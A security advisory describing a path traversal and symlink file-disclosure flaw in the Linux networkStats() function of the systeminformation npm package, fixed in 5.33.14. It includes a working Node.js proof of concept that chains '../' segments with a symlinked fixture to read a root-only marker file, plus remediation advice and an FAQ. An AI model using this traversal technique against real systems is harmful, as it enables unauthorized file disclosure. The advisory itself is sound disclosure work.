CVE-2026-116673: systeminformation has path traversal in Linux networkStats() that allows symlink-based file disclosure outside /sys/class/net
Summary
On Linux, systeminformation@5.33.13 builds /sys/class/net/<iface> paths from the caller-supplied networkStats(iface) value without checking that the resolved path stays inside /sys/class/net. A caller who can create a symlink fixture and control the value passed to this API can make the function return the first line of a file readable by the Node process.
Details
The strict string sanitizer removes shell metacharacters but retains / and .. The Linux implementation uses this value in an fs.existsSync('/sys/class/net/' + iface) check and then in seven cat paths for interface statistics. Both operations follow .. path components and symlinks. The code does not validate the value as an interface name or enforce resolved-path containment.
The proof of concept below creates the expected statistics files in a directory writable by the unprivileged nobody user. Its operstate symlink points to a synthetic mode-0600 file under /root. The package call runs as root and returns the marker even though nobody cannot read that file.
PoC
Use a disposable Ubuntu Linux VM with Node.js, npm, and runuser installed. These steps create and remove only a synthetic marker and a temporary fixture. Install the affected version:
sh mkdir si-netstats-repro cd si-netstats-repro npm init -y npm install systeminformation@5.33.13
Save the following as poc.cjs in that directory, then run sudo node poc.cjs:
js 'use strict';
const fs = require('node:fs'); const { execFileSync } = require('node:childprocess'); const si = require('systeminformation');
const root = /tmp/si-netstats-${process.pid}; const secret = /root/si-netstats-secret-${process.pid}; const marker = SYNTHETICROOTONLYMARKER${process.pid}; const fixtureCode = const fs = require('node:fs'); const root = process.env.SIFIXTUREROOT; const secret = process.env.SISECRET; fs.mkdirSync(root + '/statistics', { recursive: true }); for (const name of ['rxbytes', 'txbytes', 'rxdropped', 'rxerrors', 'txdropped', 'txerrors']) { fs.writeFileSync(root + '/statistics/' + name, '0\\n'); } fs.symlinkSync(secret, root + '/operstate'); ;
(async () => { try { fs.writeFileSync(secret, marker + '\\n', { mode: 0o600 }); fs.chmodSync(secret, 0o600);
execFileSync('runuser', [ '-u', 'nobody', '--', 'env', SIFIXTUREROOT=${root}, SISECRET=${secret}, process.execPath, '-e', fixtureCode ], { stdio: 'inherit' });
let nobodyCouldRead = true; try { execFileSync('runuser', ['-u', 'nobody', '--', 'cat', secret], { stdio: 'ignore' }); } catch { nobodyCouldRead = false; } if (nobodyCouldRead) throw new Error('negative control failed: nobody read the marker');
const iface = '../'.repeat(24) + root.slice(1); const rows = await si.networkStats(iface); const returned = String(rows[0]?.operstate ?? '').trim(); const success = returned === marker;
console.log(JSON.stringify({ nobodyCouldRead, libraryReturnedRootOnlyMarker: success, returnedOperstate: returned }, null, 2));
if (!success) process.exitCode = 1; } finally { fs.rmSync(root, { recursive: true, force: true }); fs.rmSync(secret, { force: true }); } })().catch((error) => { console.error(error); process.exitCode = 1; });
Expected result:
json { "nobodyCouldRead": false, "libraryReturnedRootOnlyMarker": true, "returnedOperstate": "SYNTHETICROOTONLYMARKER<pid>" }
Impact
The demonstrated impact is disclosure to the API caller of the first line of a file readable by the Node process. The package is a library and does not expose a network endpoint. A consuming application route that forwards remote attacker input to this API and returns its result was not established, so remote exploitability is not demonstrated.
Other sources
systeminformation is a System and OS information library for node.js. Prior to 5.33.14, the Linux networkStats(iface) implementation uses the caller-supplied interface value in an fs.existsSync() check and to build /sys/class/net/<iface> paths, including the operstate path, without verifying that it is a single interface-name segment or that the resolved path remains under /sys/class/net. An attacker who can control iface and create a directory containing symlinked statistics files can use parent-directory components and symlink traversal to make the API return the first line of a file readable by the Node.js process. The package does not expose a network endpoint, and the demonstrated scenario requires local filesystem setup. This issue is fixed in version 5.33.14.
— Ubuntu
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/systeminformationto a version that resolves this vulnerability.Fixed in 5.33.14
Event History
Frequently Asked Questions
Who is realistically exposed to this issue?
Applications using systeminformation on Linux are exposed only when an attacker can influence the iface argument passed to networkStats(). The package does not provide a network endpoint, and the demonstrated attack requires local filesystem setup.
What does an attacker need to exploit the flaw?
The attacker needs control of the interface value and the ability to create a directory with symlinked statistics files. They use parent-directory components and symlink traversal so networkStats() reads a file outside /sys/class/net that is readable by the Node.js process.
What information can be disclosed?
The affected API can return the first line of a file readable by the Node.js process. The issue affects confidentiality; the provided information does not indicate integrity or availability impact.
What should teams do if they cannot update immediately?
Do not pass untrusted values to networkStats(iface). Restrict iface to a single expected interface-name segment and prevent parent-directory components or path separators; also avoid allowing untrusted users to create filesystem paths or symlinks involved in the call.
Which version contains the fix?
Update systeminformation to version 5.33.14 or later. Versions prior to 5.33.14 are affected.